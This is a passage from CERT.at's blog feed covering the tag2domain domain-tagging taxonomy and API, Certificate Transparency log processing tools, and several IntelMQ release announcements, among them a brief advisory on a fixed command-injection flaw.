a tagging / labeling database of domain names (in the following, we will use the words &ldquo;tag&rdquo; and &ldquo;label&rdquo; interchangeably).</p> <p class="block">This project was also presented at the <a href="https://rrdg.centr.org/rrdg-rdn/">Registry Data Nerds (RDN)</a> virtual meeting on the 30th of June 2020. Slides are available on <a href="https://github.com/certtools/tag2domain">github</a>.</p> <h2 class="block">What is "tag2domain"?&nbsp;</h2> <p class="block">Simply said, this is a structure to tag DNS domain names with arbitrary labels. Initially this seems like an easy task. However, when looked at closely, it is paramount to implement this properly. Not only will all future statistics on domains depend on a proper tagging. Doing proper statistics is anything but easy. &ldquo;He who counts, will count wrongly&rdquo; seems to be the motto of statistics (in German: &ldquo;der, der misst, misst Mist&rdquo;).</p> <p class="block">Hence, any type of labeling / tagging service must</p> <ul> <li class="block">Be future-proof</li> <li class="block">Be flexible</li> <li class="block">Encompass all possible tagging systems we might come up with in the future</li> <li class="block">Easily fit into and connect to existing databases and datasets of domain names</li> <li class="block">Be easily query-able</li> <li class="block">Be useable for answering ad-hoc statistical questions</li> </ul> <p class="block">Not an easy task.</p> <h2 class="block">The proposed solution</h2> <p class="block">&nbsp;We arrived &ndash; inspired by the <a href="https://github.com/MISP/misp-taxonomies">MISP</a> system as well as ENISA&rsquo;s <a href="http://github.com/enisaeu/Reference-Security-Incident-Taxonomy-Task-Force/">RIST</a> taxonomy &ndash; at the following schema:</p> <p class="block">A tagging system for a particular statistical domain shall be called &ldquo;<strong>taxonomy</strong>&rdquo;.</p> <p class="block">A taxonomy consists of a <strong>name</strong> (e.g. the &ldquo;low content domain names taxonomy&rdquo;) and some<strong> meta-information</strong> (such as if it may be used for domain names or IP addresses or both).&nbsp;</p> <p class="block">Associated with a taxonomy, is a list of possible &ldquo;<strong>tags</strong>&rdquo; (i.e. labels or names which we might assign to domain names (or IP addresses)). Think of this as an enum (as in the programming language C) or a fixed list of possible values. Each taxonomy has a fixed number of tags and there should always be an &ldquo;OTHER&rdquo; tag which is a bucked for counting those domains which do not fall into any of the existing tags within that taxonomy.</p> <p class="block">In addition, to add a second layer (and thus flexibility), tags might have <strong>values</strong> if they they are assigned to a domain name (or IP address).</p> <h3 class="block">Example:</h3> <p class="block">Let&rsquo;s assume, we have a taxonomy which is capable of assigning industry sectors to domains: the <a href="https://rrdg.centr.org/projects/standards/domain-industry-taxonomy/">DIT</a>&nbsp;(domain industry taxonomy).</p> <p class="block">It consists of a taxonomy name (&ldquo;<strong>DIT</strong>&rdquo;), a fixed list of possible tags (&ldquo;<strong>Agriculture, Forestry, Fishing&rdquo;, &ldquo;Automotive&rdquo;, &ldquo;Beauty and Perfume&rdquo;, &ldquo;Cleaning and Facility Management&rdquo;</strong> , etc..).</p> <p class="block">Each possible tag may have a value associated with it which is basically a sub-category.</p> <p class="block">Example: <strong>&ldquo;Automotive&rdquo; -&gt; &ldquo;Maintenance&rdquo;.</strong></p> <p class="block">In machine readable form, these taxonomies, tags and values shall be presented as:</p> <pre class="block">&nbsp; taxonomy:tag = value</pre> <h3 class="block">Example:</h3> <pre class="block">&nbsp; DIT:Automotive = Maintenance</pre> <p class="block">(This is inspired by the MISP taxonomies structure. A taxonomy is thus basically a namespace for a set of tags).&nbsp;</p> <p class="block">It is easy to see that this structure is future-proof. If a given taxonomy does not fit your needs, it&rsquo;s trivial to invent a new one with the required tags. Flexibility is also given.</p> <p class="block">A taxonomy shall always be registered at the <a href="https://github.com/MISP/misp-taxonomies">taxonomy registry</a> (operated by CIRCL, please issue pull requests to their repository). A taxonomy shall be given in the <a href="https://github.com/MISP/misp-taxonomies/blob/main/README.md">machine-tag </a>format.&nbsp;</p> <h2 class="block">How to use it and how to fit a taxonomy and tags to existing databases/tables of domain names?</h2> <p class="block">&nbsp;</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/20200709/schema.png" alt="EER diagram on how to map domains to the tag2domain system" width="1024" height="808" />&nbsp;</p> <p class="block">We created a sample mapping structure including documentation on our <a href="https://github.com/certtools/tag2domain">github repository</a>.</p> <p class="block">One important thing to remember is that:</p> <ul> <li class="block">Every mapping is time-dependent: a mapping of domain name to tag only exists at a specific point (or interval) in time. Therefore, any intersection tables between tags and domains (see the github link above) always need to include a timestamp which indicates validity</li> <li class="block">Mappings should be done automatically. There is no golden rule on how to create a mapping. It is domain specific for each taxonomy. An example for mapping domains names to a &ldquo;is a first name (Y/N)?&rdquo; &ndash; tag is a word splitting algorithm which has a large dictionary of common first names. Other approaches will have to use machine learning and natural language processing libraries.</li> </ul> <h3 class="block">Querying the tag2domain database</h3> <p class="block">We created a small container based microservice which implements a query interface, called &ldquo;<a href="https://github.com/certtools/tag2domain/tree/master/api">tag2domain-api</a>&rdquo;.</p> <p class="block">It supports the following RESTful API endpoints:</p> <p class="block"><code>/api/v1/taxonomies/all &hellip;.get all possible taxonomies</code></p> <p class="block"><code>/api/v1/tags/all&nbsp; &hellip; get all possible tags (for all taxonomies)</code></p> <p class="block"><code>/api/v1/taxonomies/bydomain/{domain}&nbsp;&nbsp; &hellip; get all taxonomies for a given domain.</code></p> <p class="block"><code>/api/v1/tags/bydomain/{domain}&nbsp; &hellip; get all tags for a given domain</code></p> <p class="block"><code>/api/v1/domains/bytag/{tag}&nbsp;&nbsp;&nbsp; &hellip; get a list of all domains which match a specific tag</code></p> <p class="block"><code>/api/v1/domains/bytaxonomy/{taxonomy}&nbsp;&nbsp; &hellip; get a list of all domains, which are in a specific taxonomy</code></p> <p class="block">&nbsp;</p> <p class="block">Let us know, what you think. The author of this blog post can be reached via <a href="https://github.com/aaronkaplan/">github</a> &nbsp;or at <a href="mailto:kaplan@cert.at">kaplan@cert.at</a>.</p> <p class="block">&nbsp;&nbsp;</p> <p class="block">&nbsp;</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Thu, 09 Jul 2020 16:46:55 GMT+0100https://www.cert.at/en/blog/2020/7/tag2domainCERT.at2020-07-09T16:46:55Zhttps://www.cert.at/en/blog/2020/6/tools-for-processing-certificate-transparency-log-data-of-certspotter-published<p class="block">The <a href="https://www.energy-cert.at/en/">Austrian Energy CERT</a> and the <a href="https://www.govcert.gv.at/index_en.html">GovCERT Austria</a> monitor the <a href="https://en.wikipedia.org/wiki/Certificate_Transparency#Certificate_Transparency_logs">Certificate Transparency Logs ("CTL")</a> for their constituents' domains. These Logs contain any newly issued server certificates and monitoring those lists allows for timely detection of abuse. Our processing chain of this data involves several steps which can be useful for other CERTs and security teams. Our experience gained on the processing of this kind of data as well as code will also be incorporated in the further development of <a href="https://github.com/certtools/intelmq/">IntelMQ</a>.</p> <p class="block">The tools are published <a href="https://github.com/certat/certspotter-processing">on our GitHub page</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202002051545/en_cef-1024x146.png" alt="Co-financed by the European Union Connecting Europe Facility" width="1024" height="146" /></p>Tue, 30 Jun 2020 11:12:10 GMT+0100https://www.cert.at/en/blog/2020/6/tools-for-processing-certificate-transparency-log-data-of-certspotter-publishedCERT.at2020-06-30T11:12:10Zhttps://www.cert.at/en/blog/2020/6/intelmq-releases-213-and-220<p class="block">On 26th of May we released the IntelMQ <a href="https://github.com/certtools/intelmq/releases/tag/2.1.3">Maintenance Version 2.1.3</a> and on 18th June the Feature <a href="https://github.com/certtools/intelmq/releases/tag/2.2.0">Release 2.2.0</a>. Both versions include various changes, both error corrections and new functionality. We thank all contributors and members of the IntelMQ community for their participation in this community-led project.</p> <p class="block">The Version 2.1.3 mainly fixes errors, for example it improved the error &amp; exception handling and thus the usability. It further contains fixes in 12 bots and even more changes in the core, tests, documentation and supporting tools.</p> <p class="block">Version 2.2.0 introduces several new bots and support for new feeds, including: Github API Collector, Github Feed Parser, CSV Converter Expert, MISP Expert, MISP Feed Output and MISP API Output. Other bots received major improvements: Microsoft Azure Collector, STOMP collector, AnubisNetworks Parser, Cymru Full Bogons Parser, Taichung Parser, Microsoft CTIP Parser, AMQP Output, ElasticSearch Output.<br />More information on the Bots included in version 2.2.0 can be found in the <a href="https://github.com/certtools/intelmq/blob/2.2.0/docs/Bots.md">Bots' documentation</a>.<br />The feature release also includes several changes in the common libraries and tools, enhancing contributions and usability.</p> <p class="block">Due to discontinued data feeds, the support for seven feed groups/providers has been removed in these releases, which also resulted in the removal of six bots. Further, IntelMQ no longer supports Python version 3.4, which itself already reached it's "End Of Life".</p> <p class="block">The <a href="https://github.com/certtools/intelmq/tree/maintenance/docs">documentation</a> and <a href="https://github.com/certtools/intelmq/blob/maintenance/docs/INSTALL.md">installation instructions</a> can be found on our <a href="https://github.com/certtools/intelmq/">Github repository</a>.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202001291050/en_cef-1024x146.png" alt="Co-financed by the European Union; Connecting Europe Facility" width="1024" height="146" /></p>Thu, 18 Jun 2020 14:29:57 GMT+0100https://www.cert.at/en/blog/2020/6/intelmq-releases-213-and-220CERT.at2020-06-18T14:29:57Zhttps://www.cert.at/en/blog/2020/4/intelmq-manager-release-211-fixes-critical-security-issue<p class="block">The <a href="https://github.com/certtools/intelmq-manager/releases/tag/2.1.1">IntelMQ Manager version 2.1.1</a> released yesterday fixes a <em>Remote Code Execution</em> flaw (<a href="https://cwe.mitre.org/data/definitions/78.html">CWE-78</a>: 'OS Command Injection'). The <a href="https://github.com/certtools/intelmq-manager/tree/2.1.1/docs">documentation</a> for version 2.1.1 and <a href="https://github.com/certtools/intelmq-manager/tree/2.1.1/docs/INSTALL.md">installation instructions</a> can be found on our <a href="https://github.com/certtools/intelmq-manager/">GitHub repository</a>.</p> <p class="block">Always run IntelMQ Manager instances in private networks with proper authentication &amp; TLS. Further, restrict access to the tool to web-browsers which can only access internal web-sites, as workaround for existing CSRF issues. See also our <a href="https://github.com/certtools/intelmq-manager/blob/develop/docs/INSTALL.md#security-considerations">security considerations</a> with more details.</p> <p class="block">The issue was discovered by <a href="https://github.com/bernhard-herzog">Bernhard Herzog</a> (<a href="https://intevation.de/index.en.html">Intevation</a>) during work sponsored by <a href="https://www.sunet.se/about-sunet/">SUNET</a> to fix the <a href="https://github.com/certtools/intelmq-manager/issues/111">missing CSRF protection</a> and <a href="https://github.com/certtools/intelmq-manager/issues/80">migrate the application backend to Python</a>.</p> <p class="block">Update 2020-04-30: This vulnerability has been assigned CVE-2020-11016.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202001291050/en_cef-1024x146.png" alt="Co-financed by the European Union; Connecting Europe Facility" width="1024" height="146" /></p>Tue, 28 Apr 2020 14:34:25 GMT+0100https://www.cert.at/en/blog/2020/4/intelmq-manager-release-211-fixes-critical-security-issueCERT.at2020-04-28T14:34:25Zhttps://www.cert.at/en/blog/2020/1/intelmq-version-212-released<p class="block">On 28^th January, we released the <a href="https://github.com/certtools/intelmq/releases/tag/2.1.2">IntelMQ maintenance version 2.1.2</a> containing only bugfixes for the 2.1.x release series. The <a href="https://github.com/certtools/intelmq/tree/2.1.2/docs">documentation for version 2.1.2</a> and <a href="https://github.com/certtools/intelmq/blob/2.1.2/docs/INSTALL.md">installation instructions</a> can be found on our <a href="https://github.com/certtools/intelmq">github repository</a>.</p> <p class="block">The upcoming version 2.2.0 - and current development version - will have several new features to offer.</p> <hr /> <p class="block">This blog post is part of a series of blog posts related to our&nbsp;<a href="https://ec.europa.eu/inea/en/connecting-europe-facility/cef-telecom/2018-at-ia-0111">CEF Telecom 2018-AT-IA-0111</a> project, which also supports our participation in the CSIRTs Network.</p> <p class="block"><img src="https://www.cert.at/media/files/news/blog/202001291050/en_cef-1024x146.png" alt="Co-financed by the European Union; Connecting Europe Facility" width="1024" height="146" /></p>Wed, 29 Jan 2020 14:46:32 GMT+0100https://www.cert.at/en/blog/2020/1/intelmq-version-212-releasedCERT.at2020-01-29T14:46:32Z